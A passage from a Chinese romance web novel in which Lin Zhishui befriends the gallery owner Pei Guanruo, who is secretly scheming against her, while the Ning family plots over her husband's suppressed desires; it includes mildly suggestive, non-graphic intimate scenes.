宁濯羽瞥了她一眼,“谁让你老公从不过生日,我们这些被奴隶的哪里配奖赏他。” 这语调拖着贱兮兮的意味,又不太像是开玩笑。 “小濯司机,你态度放端正点,我可是来陪你的。”林稚水虽然真正是因心怀感谢他前段时间出手帮忙调查秦家的事,表面上还是端着高贵的清冷姿态,又带了点笑,淡淡的:“你怎么不喊宁舒羽陪你,他可是美术学院苦学过的。” “那只爱烧钱又只会嗷嗷叫的比格犬学历水分太大。”宁濯羽似笑非笑地吐槽起弟弟来,简直是毫不留情面:“我怕淹死在他的审美里。” 林稚水虽然极少出门参加品鉴会,却在林家时也被聘请上门的名师教导过的。她踩着细高跟逛了一会儿就发现这画廊不太简单。 随随便便一幅画都是出自享有盛誉的大师之手,价格更是几千万级别的。 看得入迷了些,恍神的功夫间跟宁濯羽分开了,也不知他被那幅画给吸引住脚步。林稚水微顿,站在洁白一片的展厅里,正犹豫着要不要原路返回。 这时,蓦然有个很轻,轻到恍如怕惊扰到她的声音不远处传来:“你好。” 因为太轻了,像是从夏夜的荷塘水面拂过就弥散一样,险些让林稚水以为自己听错了,眼中困惑地循着声源望去。 下秒,便见到逐步走近距离的是一位容貌生得艳若桃李的极年轻女人。 不认识。 对方似乎也察觉到她的心态,主动自我介绍道:“林小姐,我叫裴观若,是这家画廊的幕后老板。” 随即,又同时伸出纤美的右手:“你能来此,我感到非常荣幸。” 原来是画廊的老板,林稚水的困惑被打消,握了握她的指尖:“你好裴小姐,我也很荣幸受邀来此品鉴。” 话音落地间。 林稚水脑海中又突然想起这名字过于耳熟,神似昨天万露口中的那个……跟她一同瓜分了那几盒小链子的裴家私生女。 没料到才二十四小时不到,就机缘巧合偶遇上了。 裴观若没有让气氛冷场太久,几秒后,主动充当带路陪同的角色,态度温柔地引她上三楼的展厅,“我这儿还有一些私藏的画,如果林小姐能入眼,尽可带走。” “既是私藏,我也不好夺人所好。”林稚水摇摇头婉拒了,毕竟严格来说,她今日会出现在这里,也是陪同人来的。 “能被你看上……是那些画的造化。”裴观若声音又极轻下来。 林稚水却没听清:“什么?” 裴观若笑容轻轻,又充满真诚的说道:“我说林小姐有一张很容易让人记住的脸,一眼见了,便难忘。” 上方的天窗有自然光,恰好浸透了林稚水的侧脸淡极生了艳色,垂眼间笑了笑:“裴小姐好会夸人。” “真情实感而已,如果不介意我越了身份话,你可以叫我观若。”裴观若不经意间挑了个视野更好的位置,望着她在这个角度更美,话也说得坦坦荡荡的,“其实我觉得林小姐,不如稚水好听。” 林稚水其实是发现裴观若有意交个朋友,更没有避讳自己众所周知的私生女身份。 许是这份坦诚,让彼此间相处起来很轻松,而后,林稚水整个人也显得轻松起来,红唇微翘起弧度,溢出的声音清澈如水:“观若观若,很顺口。” 接下来,林稚水认识了新的朋友,把宁濯羽给抛之脑后了。 裴观若邀请她一边品鉴画,又到茶室品茶,备上的糕点都是偏甜口味,两人的话题有很多,从深城到港区的天气,再到都爱万露裁缝店里的各色料子,又转而到一些深奥的海洋学知识领域。 裴观若无论是哪个领域的,都略知一二。 “你对海洋也感兴趣?”林稚水坐在沙发喝茶,不经意间地好奇了句。 裴观若说:“我在学期间想过学这个专业,还养了一群小珊瑚在家中,可父亲不让,便只能听从家族安排学金融系。” 聊起往事,她轻描淡写带过,却拿出手机给林稚水看了以前亲手培育的珊瑚照片。 林稚水垂眼,安安静静地看了半响,有些早年照片一角还会出现裴观若略青涩的身影,不似假的。 很巧的是林稚水也爱好这种生长在海底的绮丽生物。 她幼年时在家培养过。 后来心思敏感的察觉到盛明璎似乎不爱在家里看到这个,就全部都送到了港区的一所海洋生态研究中心去了。 正陷入浅浅的回忆里,蓦地,被手机两道提示音打断。 林稚水发现是自己的,便对裴观若一笑。 裴观若很有分寸感的坐回单人沙发。 而林稚水打开手机后,发现前一条是宁濯羽发来的,问她在哪儿。 后一条是被她单方面冷暴力了整日的宁商羽发的。 没有文字。 只有一张照片。 也足以让林稚水瞳如琉璃的眼眸顷刻间被震惊到了,呼吸微窒,盯着手心屏幕上的画面。 宁商羽坐在宽大的黑色真皮椅子上,肌肉线条分明的胸膛完全暴露出来,清晰可见,完美无瑕的地方已经被暗金色的钻石乳钉刺穿而过,末端多了两滴血珠流淌下之外,光是这样瞧着,视觉上的冲击力就直击灵魂。 似乎是算准她赏阅完毕,宁商羽又发来一条简单文字:【回家吗?】 林稚水手指下意识地按灭了手机,唯恐被看到,心跳的有点儿快,脑海中对于刚才那画面久久不能消散。 裴观若心思玲珑剔透,似乎察觉出她走神了好会儿,才轻柔地问起:“稚水?你是不是有什么事?” 林稚水眼眸看向她,语顿了片刻。 明明刚才喝茶润过嗓子的,却被宁商羽消息惹得觉得莫名口干舌燥了起来,舔了舔唇间,又说:“是有事,我突然记起家里还有一幅画等着……我回去。” 她眉间微蹙,琢磨几秒恰当的用词,才慢慢吐出二字:“品鉴。” 第47章 林稚水要回家。裴观若有些遗憾,也有一点失落,却没有过多表现出来,而是亲自送她出画廊,又将精心准备的一幅画送给她。 “稚水,这不是什么贵重藏品。”裴观若语气自然又坦诚:“是一副平平无奇的画,今天来画廊品鉴的每一位贵宾都有份礼物相赠。” 林稚水站在台阶上,彼此间只隔着夕阳落下的胭脂余晖,听她这样说,出于礼貌还是收下了,唇角抿开一点笑意:“ 谢谢,改日我请你喝茶。” 虽听着像是客道的话,裴观若却铭记于心,又主动与她交换了私人号码。 等宁濯羽的车来了,林稚水才慢悠悠步入下又长又白的台阶,背影映着一整片落日里,随即绕到车身另一边副驾坐了进去。 画廊的助理,也已经眼疾手快地把包装精美的画小心翼翼安放在后排的座椅上。 等车门重新关上。 林稚水先是眼尾余光轻轻瞥向还站在高处门口的裴观若,语气顺其自然的跟宁濯羽聊起:“你怎么会想来这家画廊选生日礼物?” 宁濯羽打转方向盘,看上去很是慵懒冷傲的劲儿说:“这里展出的不少藏品都是出自宁惟羽喜欢的书画家之手……” 送人礼物自是得投其所好,这点道理浅而易懂。 林稚水笑了笑,没有在这个话题上往深了问,侧过脸去安静欣赏车窗外的繁华热闹街景,也同时被天际斜垂着投射在玻璃的光芒将发丝一点一点染成红色。 “刚才亲自露面送你出门的那位,是出身裴家的,她家族就跟街边娱乐野报一样精彩。” 宁濯羽随意说起这种豪门八卦完全没有道德上的负担,嘴也是一如既往刻薄犀利:“裴德义是出了名最爱救风尘,这大半生只要遇到那种可怜无依的貌美女人就想往家里带,那个裴观若,她母亲没入裴家前,是混迹在风月场所的一个陪酒小姐,后来遇上裴德义,痴女遇深情种,被救风尘,最后还闹出了个在当年让不少人茶余饭后津津乐道的为美人怒发冲冠的断指戏码。” 林稚水说:“裴德义?”这名字取得又道德又信义的,难怪有这么……仁爱的救风尘情结呢。 “裴德义是裴氏家主的江湖外号,内涵他滥情用的,真名裴胤。”宁濯羽在等红灯的短暂间隙里,漫不经心地捏着指关节玩,咔咔响:“胤这个字也算人如其名了,毕竟事关家族血脉相承,他还真做到了庶出子女一大堆……” 而裴观若能在这种竞争力残酷的环境下立足,没点儿八面玲珑的心思是不行的。 所以宁濯羽并不意外她先前一系列举动都在对林稚水颇为热情的献着殷勤。 换谁,能抵抗得了这种接近权力的诱惑? 林稚水因宁濯羽的八卦之言,也暂时性打消了对裴观若过度靠近的疑心,她抿了抿唇,没继续好奇裴家那些堪称野史秘闻。 等回到家,满脑子都是宁商羽极具视觉冲击力的胸膛,下了车后,非常应付了事的跟宁濯羽告别后,便抱着画框,脚步轻快的进门了。 管家刚恭恭敬敬地上前迎接,她便先问:“宁商羽还在家吗?” “在书房。” “哦。”林稚水闻言,把画框交付到了管家手里,表面上看似矜持点点头,下一刻,却身体很诚实地往楼上方向走,恰好这时…… 宁商羽反而出现了,不似照片里一样裸着性感的上半身,而是裹着线条锋利的黑色绸制西装,身形格外挺拔高大站在楼梯处,灯光洒下间,只露出抄着裤袋的腕骨和俊美面容。 空气中弥漫起了静默的气息。 林稚水的裙摆蓦然停下后,看到他这么衣衫整齐的骄矜模样,睁大的眼睛也毫不掩饰地滑过了惋惜情绪,出声问:“你怎么下楼了?” “看来宁太太的时间观念和正常人不一样。”宁商羽云淡风轻点出,“六点晚餐时间,我怎么下楼了?” 林稚水从他阴阳怪气里回过味来,却佯装没听懂,若无其事地在宁商羽缓步经过她身旁时,脚尖一转,也紧跟了上去:“我这叫关心则乱嘛,在外一看到我家英明神武的宁总大人身负重伤,就什么都顾不上火急火燎的赶回家来了。” 绝对! 天地良心作证……绝对不是因为他发到手机上的那张照片被勾回家的!!! 林稚水像个水里鱼尾巴似的晃悠在他身后,态度摆得很是端正,就差举三指发个誓。 而宁商羽听到她这番冠冕堂皇言论,薄唇勾出漫不经心弧度:“是么,劳你操心了。” “我操心也是身为宁太太不可推卸的合法义务。”等走到餐厅,见有管家等人在场,林稚水不好表现地太露骨直白,往他身旁的椅子很规矩坐下,眼尾余光把他瞧得分明:“宁商羽,你热吗?” “不热。”宁商羽衬衫上的纽扣都紧紧系到了衣领口,什么都不肯敞露,见她问,便淡声吩咐管家,把餐厅内的冷气降低几分。 免得,热到了火急火燎的……宁太太。 “……”林稚水。 这男人好小气,无非就是白天单方面冷暴力了一下他! 现在晚上了!! 轮到他单方面玩起“热暴力”游戏!!! 林稚水餐桌之上得端着矜持一面,却在餐桌下,用隐在裙摆内的高跟鞋尖提了一下宁商羽的黑西装裤角,小发雷霆了下后,也引来了他侧眸注视。 林稚水又把高跟鞋尖往他被包裹着性感突出的脚踝向上,撩拨似的,颇有故意的嫌疑。而在彼此都安静的气氛下,管家已经把丰盛的晚餐都上齐了。 宁商羽筋骨分明的手给她亲自盛汤,递过来时,语气平缓问道:“腿不难受了?” 林稚水蓦地停住,安安分分地放下,又并拢起了膝盖。 她脑海就算忘记,身体真实感受却还没忘记昨晚牺牲掉睡眠的阴影,上过清凉的药膏还是肿着,否则也不可能醒来就气恼一整天。 偏偏宁商羽这个罪魁祸首,怎么好意思问得这么理直气壮! 林稚水转念又记起,他当然好意思了,毕竟某种程度的意义上也算是血债血偿的……对自己心狠手辣刺穿上了两个小钉子。 看在两个小钉子份上。 林稚水决定不计前嫌地原谅宁商羽坏人行为,耐着好脾气的性子说:“我出门前已经重新上过药膏了,你呢?上过了吗?” “原来你已经上过药膏了。”宁商羽意味极深重复她这句话。 显然是没阴阳怪气一次她已读消息却装死不回,这事就彻底翻篇不了,还心机颇深的故意吊着她胃口。 林稚水在心里暗中疯狂内涵了一万遍宁商羽真是难搞后,唇齿透露的话却善解人意极了:“你关心过我了,现在轮到我来关心你了,很公平吧?” 宁商羽往椅子慵懒地靠,又随意抬了抬下巴,示意她过来。 林稚水早已养成很自然往他大腿坐的习惯,哪怕在餐厅也没有半点扭捏,只是穿裙子不能跨着坐。等窝到了怀里,而宁商羽更是非常习惯把温度微烫的手掌笼罩在她窄而薄的腰肢上。 林稚水被扶稳,这股沿着温度弥漫而来的安全感,让她丝毫不担心摔下来,正专心致志地去解他衬衫。 从衣领开始,一颗又一颗地从她干净指尖散开。 直到宽阔的肩膀和胸膛都坦露于璀璨明亮的灯光之下,那两枚钻石钉子更是分外显眼,镶嵌鲜红的点上,犹如是造物主最精美的小小艺术品,性感至极。 林稚水轻盈的长睫毛都不会眨了,注视着半响,心跳得愈发快了,仿佛被什么猛猛撞了几下,直到循着本能把脸蛋突然凑近了过去。 毫无预兆地,嘟起红润的嘴巴往上面吹了吹。 犹如羽毛一样轻轻的气拂过那胸膛的结实肌肉位置,宁商羽连眸光都变得幽深起来,低声问:“你做什么?” “我帮你吹吹。”林稚水抬起脑袋,坦诚地回答:“这样就不疼了。” 上面的小伤口呈现艳丽的淡红色,她有点儿胆小起来不敢去触碰,更别提心急地往上锁那些打造得极为精美的细链子了。 光是隔着距离,用眼睛礼貌地品鉴下就很是心满意足。 而在宁商羽手掌不疾不徐地抚过她柔软的背脊时,整个过程里,林稚水脸蛋的表情却无比纯洁,还关怀备至地说: “宁商羽你要好好养伤,按时涂药……” “……” “为了我,我们未来的和谐夫妻幸福生活!” 她那点儿小心思哪一回能从清澈的眼里藏得住?宁商羽嘴角微动,长指改为不轻不重地捏了捏她鼻尖:“坐回去,老老实实吃饭。” “不要。”哪怕他这会儿又摆起高姿态来,林稚水微蹙着眉心才不怕,就坐着不动,不过没忘记抬起雪白的手腕,重新把大敞的衬衫给严实系紧了回去。 这里只有她能有资格品鉴!!! 继而,指尖软软地,隔着薄薄料子点了点他的胸肌:“我给你吹过了,礼尚往来你也有义务喂我吃饭。” 宁商羽低首的视线从那白净指尖一直蔓延到她脸上,忽地意味不明的笑了:“闹着要哄睡又要喂饭,不如晚上洗澡也一块让我代劳了?” 林稚水在新婚起俨然是把他占为己有来用,身心溢出来的占有欲都是这个男人是她的,自然是用得得心应手,眨了眨眼,又故意拉长尾音抱怨起来:“好呀,洗完澡你还得给我上药……宁商羽,麻烦请你严格遵守好老公的义务,今晚不许想了。” 宁商羽伤在表皮,而她伤在内部! 哪怕他今晚再怎么靠这副皮相蛊惑人心或者是表现强烈的想欲入,她为了弱小无辜的小身板着想,也必须让他入而不得。 宁商羽又看穿她小心思,倒是笑了笑。 等用完晚餐,林稚水没有被他往楼上抱,注意力被裴观若送的那幅画吸引去了,只因管家把精美的包装拆了后,又捧回她面前,低声询问放在何处合适。 林稚水这才发现收到的是一副落日珊瑚的油画,落笔者则是裴观若。 而画里,她用浓墨重彩的颜料勾描出夕阳背景,又将珊瑚画成一抹摇曳生动的鱼尾,这抹色彩,艳得充满了非常绚丽的生命力。 林稚水一眼惊艳住,这画工,怎么看都不像是平平无奇的样子。 她的思绪沉浸在里面许久,半响才侧过脸,对管家轻声说:“放在我经常看书的地方吧。” 这份礼物。 显然极为投其所好送到了林稚水的审美上,当晚,她就先给裴观若发了一条消息,【礼物我看到了,很喜欢,谢谢。】 裴观若回复的很及时:【不必谢,能被稚水喜欢,是我荣幸之至。】 她分寸似乎拿捏着恰到好处,既尊重宁太太这个身份,又没有心急如焚到提出邀约继续赏画之类的请求。林稚水垂下眼盯着屏幕几秒,指尖轻点:【明天有空吗?一起出来喝个下午茶。】 裴观若:【有的。】 不到三分钟,她已经心思玲珑周到的整理出了一份适合下午茶环境的高档餐厅,等林稚水慢慢的挑选个满意的。 林稚水却没有再回复。 等隔日,她睡醒来时,迷迷糊糊地被宁商羽上完药,裹着一身类似淡淡薄荷的味道在被子里翻了个身,随即,也去检查他衬衫下胸膛的两端。 宁商羽这体质强悍得惊人,经过一夜的小伤就差不多痊愈了,周围皮肤也洁白无瑕。她看了都难免心生嫉妒起来,不似自己不争气,连最基础的消肿都得耗费一天一夜! 林稚水这回敢用指尖,去拨了一下鲜红的点儿。 没让宁商羽走,微微困倦的挣扎着坐起来,把备好的冰川蓝质地细链子拿出来,又认真专注地给他分别锁上了。 继而,挑起垂挂的链子微微一扯,说:“不许解开,我会随时查岗的!” 宁商羽倒是任由她胡作非为的小任性,只不过出门前的那点瘾也被扯出来了,他修长有力的手臂伸到被子里去。 紧接着林稚水感觉自己悬空了起来,被抱着,离开了床。 宁商羽光看骄矜的面目是非常具有禁欲气息的,可行为上,却是欲随心起,把那个在早晨时分格外爱耀武扬威的东西,往她这里,礼貌地接触了一会儿。 等十分钟后。 宁商羽已经下楼,林稚水身子重新蜷缩在被子里,才后知后觉一样从脸颊到肤色白嫩的耳根都迅速晕开一抹红晕。 那股困倦感彻底被惊没了。 这么安静地待了会儿,直到落地窗外升起的阳光洒了进来,林稚水终于缓过那股劲,撑着手心慢吞吞爬下床,去浴室清洗一下。 她那小料子透着许些隐秘的透明水痕,随即,被扔在了浴缸边上。 等洗漱好,清清爽爽的走出来,恰好看到手机上接到了一条来自裴观若的新消息,似乎是耐心静候了整宿,见迟迟不回复,终于挑了个合适时间来询问: 下午茶餐厅,是否有满意的? 林稚水并没有看完那份攻略,垂着脸蛋,表情落在雪白光线里显得模糊,回了几个字过去:【第二个吧。】 实际上裴观若挑选的每家餐厅菜品都完美符合林稚水口味,无论是选哪家,到了地方后,亲自尝过,都不会有所失望。 也恰是如此。 林稚水才疑心重新渐起,有点儿好奇裴观若到底是想从自己身上有利可图着什么? 倘若图宁家的权势,深城裴家也是高门大户,何必这般费心思。 倘若是图谋别的…… 林稚水眼眸平静看着约出来喝茶,又迟迟没提及任何利息相关之事,一直在正常社交的裴观若,她慢悠悠向后靠住了柔软丝绒椅背,突然提起:“八月十八号是宁商羽生日,我一时不知道送他什么好。” 裴观若正往透明的茶壶注入水,轻声细语的腔调被流水声衬得更柔:“稚水可以为他设计一款狮子星座的胸针。” 这个提议不错,但是林稚水更想给他设计狮子座的小链子挂在胸膛上,而不是西装上。她沉默地欣赏着裴观若斟茶的手法,过会儿,直到那杯香气袅袅的茶递了过来,才说:“现在设计有点迟了……” “不迟的。”裴观若提及这个想法,就已经体贴入微的为后面事宜安排好,“稚水可以信任我一回,我相熟一位国际珠宝界的设计师,可以全程协助设计,只要小半月的期限就定能完美制作出来。” 她笃定到了,好似哪怕这个是临时为了附和的,话已出也一定会完成。 林稚水端起茶,“观若,那我要怎么感谢你呢?” 裴观若真诚到仿佛没有半点违心,眼眸凝视着林稚水唇间慢慢品茶的动作,落了一抹亲切笑容说:“稚水,我不是已经收到你的感谢了吗?” 林稚水挑了挑眉尾:“嗯?” “你能来这喝上一口我斟的茶。”裴观若噙着笑,好似从端坐在这家环境幽静高雅的餐厅开始,笑意就没散过:“我已经荣幸之至了。” 林稚水指尖细细摩擦过茶杯,被适宜的水温贴着,心里却发现裴观若好像极喜欢用荣幸二字,聊天时出现的频率非常高,已经近乎让她耳熟能详了。 裴家教育子女处世之道的家风竟是如此吗? 林稚水有点琢磨不透起来,毕竟先前哪怕是遇到秦晚吟那种表面上端庄温柔的,可骨子里尽是难掩出身豪门的那股心高气傲气息。 鲜少像裴观若这种看似图谋,又似乎什么都别无所求。 这场下午茶喝完,林稚水没有在外面久留,赶在落日之前就回到了家中,可惜夜幕降临时,宁商羽在外临时改了行程回了一趟老宅。 她只能独自用晚餐,又心不在焉地上楼,最终拿手机给远在江南的林曦光打了一通电话。 凡是遇事不决就找姐姐。 林稚水站在极宽敞的主卧落地窗前,欣赏着那一片挺拔高大的落羽杉,褪去夏日生机勃勃的青翠,如今逐渐初秋颜色,特别是被路灯一衬,树影间接地把湖泊染成了犹如鎏金色的海洋。 林曦光挂完电话后,在半个小时内又重新回拨过来。 意思简单明了。 裴观若没有任何问题。 “可她太了解我的喜好了。”林稚水眼睫一垂,轻声说:“瞳瞳,我甚至有种她就像是我的影子,如果在外自称是林家的女儿,也不会有人起疑。” “我只有一个妹妹。”林曦光提醒道,转瞬间,话顿了起来,似乎是在回应着身旁的人。而林稚水处于寂静的环境下,听觉变得格外灵敏:“你很忙吗?” 林曦光过两秒才出声:“没有,你姐夫跟我讨个吻。” 林稚水看了眼时间,才七点不到……虽然过早了点,却也不好继续打扰什么,刚要说挂了。又先一步听到林曦光那边的背景有椅子摩擦过地毯的沙沙声响。 像是被人突然连人带椅子拽了过去。 “善善。”而林曦光语速稍慢一秒,又快了些:“以静制动,据我调查出的资料,裴观若没有冒出头的这些年都在国外艰难求学,跟一个普通留学生没区别,她连裴家给予的资源都不动用,如果……” 话顿到静得离奇,毫无预兆地说:“挂了。” 林稚水正耐心听着,心想说完来:“瞳瞳!” “我没那闲情雅致一边叫床,一边跟你分析这些,听话……自己去看资料琢磨。” 林曦光当机立断的。 真挂了。 主卧重新归于安静,林稚水一时间也不知道是先为哪个字震惊才好,指尖揉了揉眉心。 她虽然没有听过,却不免想到林曦光自幼就生了一把好嗓子,在当年江南楚家来要人时,母亲还特意重金聘请过一位定居在港区的京剧名伶上门教学。 就为了把这副好嗓子,变得更美妙一点。 起码嫁到楚家去,要是无法无天得罪人的时候,话难听,但是声音起码能好听一点儿。而林曦光虽然毫无戏曲根基,却学什么都极有天赋,很快就给学会了……除了因父亲葬身大海,对海洋生物学领域从心理上就很排斥。 林稚水这些年虽然极为喜欢海洋生物,也主修了这个专业,却顾及妈妈和姐姐心情,不会光明正大的表露出喜好。 裴观若无论是养育珊瑚,还是那幅画,都完美吸引到了她注意力。 林稚水纤细的后背靠在落地窗前,若有所思地琢磨了起来。 忽地。 把玩在指间的手机一声作响,垂眼看到,是林曦光发来的新消息。 她表情微困惑。 这么快就叫叫叫完了吗??? 第48章 没那么快。 林曦光新的语音伴着隐隐约约勾缠出舌尖的细碎、旖旎声响传来,像是隔着千山万水的云雾,转而间,很快便被熟悉的又轻又清冷腔调抹去: “善善,比起不受家族重视的裴观若,裴家那个最受宠……也是在血统上真正名正言顺的嫡出小姐才是你要注意的,她也是当初跟你竞争和宁商羽联姻落选的人之一。” 林稚水认真听完,有一瞬的意外与好奇,指尖停悬在了屏幕上,却好似静止没有继续打扰到林曦光。 她把手机放下,先回浴室去洗澡。 一个小时后,是整个私人住所里外都静了下来。 林稚水裹着绵软的睡袍躺在宽敞的床上,脸蛋下意识贴着属于宁商羽的枕头,呼吸间轻轻嗅着那股已经淡去几乎没有的冷杉味。 没过会儿,她眉尖蹙了起来,重新摸过手机看时间。 这几点了? 姐姐姐夫一早都睡觉了,她老公还不回家??! 林稚水表情逐渐变得不满起来,随即点开了宁商羽的微信聊天框,很用力地打字过去:【查岗……】 夜晚流逝得很快。 刚入门。 裴观若在穿过奢华明亮的客厅时,被人冷不了的叫住了脚步,她停驻,极其缓慢地循着声源转过身,看向了懒洋洋卧在棕红真皮沙发上的女人。 也就是裴家这座风水特别好的老宅里,真正唯一有资格继承的金枝玉叶: 裴以稀。 ——物以稀为贵,连名字都是出生时,裴胤亲自取的。 “观若姐姐。”此刻裴以稀目光落在裴观若那张脸上,几秒后,淡色唇瓣勾起明晃晃的讽刺弧度:“听爸爸说你真成功把宁商羽勾到手了?妹妹我有点好奇呢,你说……那位真正的宁太太要是知道真相,会怎么看待你啊?” “跟你有什么关系吗?”裴观若没露出丝毫表情。 “自然是有的,于公你领了爸爸的任务,是出卖这副皮囊在为家族做贡献,而我身为裴家唯一的合法继承人,关心下进度无可厚非吧?” 裴以稀说完,又说:“于私呢……” 她抬手从茶桌旁边花瓶里盛开的弗洛伊德玫瑰,挑了一支娇艳带刺的出来,慢慢地在指尖转着玩,说出的话仿佛已经为了情爱心碎至死过无数次了调儿:“我暗恋了宁商羽十多年,在联姻一事上被林稚水抢占先机,如今又被你这种风尘小姐生下的私生女捷足先登,总是要嫉妒一下的啊。” “我为什么会捷足先登?”裴观若语气轻飘飘:“还不是你这副皮囊生的太平淡,不用扒,光看一眼就没有任何价值。” 裴以稀容貌随母,顶多算是清秀的小家碧玉长相,倘若平时珠宝首饰各种光鲜亮丽打扮之下也能入眼。 可是偏偏当年裴胤“救济”进家门的情人们都是样貌顶好的,生下的私生子女自然差不到哪里去,就显得裴以稀除了高贵瞩目的身份外,其余的,过于平平无奇了起来。 这也是裴以稀想得到什么就能拥有什么完美人生里的唯一痛点。 裴观若甚至还提及:“当初宁家的联姻,你落选,为什么父亲只替你竞争一次,得知宁商羽定了港区林家便劝你放弃,不就是父亲比你看透局势,林家在外有个众所周知以美貌著称的大小姐,她一母同胞的亲妹妹在美貌上能弱到哪里去?” 裴胤擅于精明谋算,一向是知道自家子女们的价值有几斤几两。 宁商羽这种站在云端之上的权力巅峰男人。 林稚水的美是同样直接反映了他的阶级。 客厅气氛凝固半响,裴以稀被裴观若的伶牙俐齿给气笑,纵然再不甘心,可比容貌,确实是无人能及林稚水…… 那又如何呢? 裴以稀说:“我得不到宁商羽,顶多吃一点情爱的苦头,也有整个裴家为我所用,为我提供无限资源人脉。唔,我没记错的话,林稚水是你白月光吧?” 裴观若站着没动,纤美的肩背却绷得紧紧的。 裴以稀坐着,看她却犹如看自家后院养的宠物没区别,“你的白月光可是在小时候拿导盲杖救赎过你这条命呢,如今你却恩将仇报,姐姐,你好残忍哦。” 论起残忍。 又有谁能比得过裴以稀,在她还是个小小孩童时,就在家中饲养罗威纳犬,出了门也带,还最喜欢当众使唤那条恶犬狂吠追咬同龄人。 裴观若领教过,最严重一次是在宁家老爷子寿宴时险些被咬伤这张脸。 要不是双目失明的林稚水敢护她的话…… 因此,提及这些旧事的裴以稀,自是记恨住了林稚水,一直心心念念要给那只罗威纳犬报仇雪恨,只是林家把体弱的小女儿藏得太严,外出的行踪更是半点风声也不透露,更别提让心思邪恶的东西近身了。 如今算是新仇旧怨重叠在了一起。裴以稀生的平淡却心气高傲,非常不屑于像秦晚吟这种为爱痴傻行为,竟三番四次地送上门给林稚水羞辱。 她是裴胤捧在手掌心里精心教养长大的,效仿父亲城府手段,最懂驭人之术。 裴观若在她眼里,不过就是以色待人的提线木偶,拿去跟林稚水斗的……而她只要把这条线缠在手上,动一动指尖就够了。 裴以稀突然将捏着玩的玫瑰摔在裴观若的裙角处,最外层的花瓣如血散落在地,“下次你爬床的时候,记得录好视频,我要看。” 裴观若说:“你自己去跟父亲说。” 拿父权来压?裴以稀冷笑了一声:“你把林稚水视为白月光,谁知道有没有玩阳奉阴违裴家那套?好姐姐,我这是给你自证的机会啊。” 自证?裴观若继而从包里拿出一枚雕刻着宁氏族徽的银色指环,走过去,很平静地放在了茶桌上。 “这枚指环是他的贴身之物,不是所有宁家之弟都有资格佩戴的,我能拿到,就足够证明已经近了身,你可以让父亲拿去验证伪。” 宁氏族徽有专门御用的设计师团队制作。 以身为老祖宗宁徽诏定下的规矩,但凡有能力进核心圈的,才能拥有这个彰显身份和家族排名靠前的地位。 裴观若仿佛对这种爬床的羞辱毫无感觉般,指尖从冰冷桌沿骤然离开,踩着细细的高跟鞋往环境幽暗的楼梯方向走,每一步,看似轻,却又好似有沉重的枷锁坠着。 裴以稀的注意力都被这枚折射出冷冽色泽的指环吸引,眯起眼观摩片刻,才若有所思地伸手拿了起来。 指环倏地碰上大理石质地的台面, 发出很清脆的声响。 宁惟羽大汗淋漓过后,将往右手套的指环不小心手滑掉了下去,他捡起,抬眼看向极宽的镜子。 镜面被璀璨的水晶灯照映得非常明亮,倒映出的高大身影也不止他一个。 宁商羽身形高挺地站在光影里,将激烈拳击过后的绷带解开,上身赤裸,线条完美的肌理随着动作张弛,胸膛则是穿刺了两枚环钉,与分别垂挂摇曳的冰川蓝链条正相得益彰。 宁惟羽目光落在那链条上几秒,先前在拳台格斗就注意到了此物,只是没细看,见宁商羽极度洁癖的禁欲外表下,在婚后私下还有这一面癖好倾向,挑了挑眉峰:“这挂件倒是看着新鲜。” 宁商羽掀起眼皮:“你感兴趣?” 自幼生存在这个家族里大家就爱凑一起全方面的竞争攀比,计谋要是分不出个胜负,就靠武力值施压。 在宁徽诏没把权柄交付出去之前。 宁惟羽拉帮结派跟宁商羽分庭抗礼了很多年,哪怕是处于下风,他就犹如输掉领地的雄性狮子暂时对高高在上的狮王俯首称臣而已。 兄弟间的明暗关系再怎么不睦,表面上,至少在重视家族人员团结一致的老爷子这里都会默契的阴阳怪气模式地和谐共处起来。 几秒后,宁惟羽稍微侧过身,逆光缘故神色被遮蔽,薄唇淡淡地说:“我可不像宁濯羽,什么都要跟风效仿……” 宁商羽语调比他更淡:“是么。” “我对此物兴趣不大,不过对兄长的药剂倒是挺有兴趣的。”宁惟羽突然把话题转移到了这个上面,缓慢地说道:“爷爷召你回来,似乎是为了研发团队有了新进展一事。” 宁氏注巨资养的那群顶尖科学家不是当摆设的,哪怕不能根除基因里带来的病症,而在旧药剂快失效之前,重新研发一款抑制的新品还是在能力范围之内。 宁商羽临时被召唤回来,确实是因此事。 宁惟羽天天在老宅膝下尽孝,掌控的一手消息自然也多,停顿了片刻,目光看着宁商羽那张俊美又立体深邃的五官,继续说:“恕我冒昧,这算是老宅这边给林稚水进门的新婚礼物么?毕竟新药剂可以抑制长达一个月的生理欲望,身为宁太太,承受的重任也能有所减轻不少。” “你不是老爷子最懂孝道的亲孙子么,这点心思都猜测不透?”提及基因的病症,宁商羽神色漠然的像是旁观者,明明整个家族内就唯独他一人置身在这股危险漩涡中心,长期压抑着强悍高大躯壳里的强烈性欲。 宁惟羽摆正冷冽的银色质地指环位置,嘴角上扬,“我有什么资格猜,毕竟最懂孝道的亲孙子又怎么能比得过兄长在爷爷心里的地位。” 宁徽诏为了让宁商羽不再身体反应和意识浪涛里长期极端的禁欲,默许跟港区林氏联姻。 又为了不让宁商羽破戒之后,不用过度去依赖妻子作用。 能默许气运已尽的秦家所作所为,又苦心积虑去研发最完美药剂。 这种待遇,不是随随便便哪个子孙都能拥有的。 不过宁惟羽更清楚,宁徽诏这步棋更深一面的意图是为了把林稚水身为妻子的作用给完全透明化,以免重蹈覆辙白音珂身上发生的事故。 毕竟,林稚水不乖乖扮演一个在家娇弱不能自理的美丽妻子,敢利用宁商羽的依仗毁掉攀附宁家多年的秦家根基,逼人断子绝孙。而这样做的后果,也一手间接性打破了宁氏内部权力体系的公平,就注定要遭到老宅这边的猜忌与警告。 宁徽诏这是准备将宁商羽满身满骨的权与欲……暂时离线制。 没有资格的宁惟羽陪宁商羽打完拳击后,便识趣告退。 而今晚,发完查岗消息的林稚水没有耐心等到回复,就先蜷缩在温暖的被子里陷入了熟睡状态。 又许是脑子琢磨裴观若的资料给引发的,一整晚都在莫名做稀奇古怪的混乱梦境。 林稚水梦里的世界周围被白雪覆盖,看不清任何东西,唯一的色彩竟是黑的,待犹如电影镜头一样猛地拉近后,才发现那黑点是只超级大的巨犬。 之后,林稚水惊慌失措地提起裙摆就跑,被这个巨犬疯了似的追赶,而她像是死循环似的被无数个梦境交错,逃下一个又一个的环旋楼梯…… 直到即将被黑色巨犬獠牙咬住时,心脏骤然停跳瞬间,梦境毫无预兆地碎了。 雪白的亮光散去,无数碎片在黑暗中凝成了一张俊美又熟悉的脸孔。 